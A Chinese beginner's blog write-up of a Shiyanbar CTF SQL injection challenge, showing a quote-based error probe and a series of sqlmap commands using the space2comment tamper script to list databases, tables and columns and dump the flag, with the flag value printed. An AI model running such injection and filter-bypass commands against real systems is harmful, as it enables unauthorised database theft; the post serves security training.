Sqlmap初學 實驗吧 簡單的SQL 注入二

http://ctf5.shiyanbar.com/web/index_2.php

一開始我們簡單的來一下輸入 1'

提示 語法錯誤 但并沒有過濾 '?

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ''1''' at line

過濾了空格

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment --dbs


得到結果

available databases [3]:

[*] information_schema

[*] test

[*] web1


很明顯。。這是跟第一題一樣樣的

next

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 --table


結果如下

Database: web1

[2 tables]

+-------+

| flag? |

| web_1 |

+-------+


next?

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag --columns


Database: web1

Table: flag

[2 columns]

+--------+----------+

| Column | Type? ? |

+--------+----------+

| flag? | char(30) |

| id? ? | int(4)? |


我們指定顯示flag的字段內容

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag -C flag --dump

Database: web1

Table: flag

[1 entry]

+----------------------------+

| flag? ? ? ? ? ? ? ? ? ? ? |

+----------------------------+

| flag{Y0u_@r3_5O_dAmn_90Od} |

+----------------------------+


總結

在這里面用到的方法內容都差不多

只要多用tamper的腳本多嘗試就可以了

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容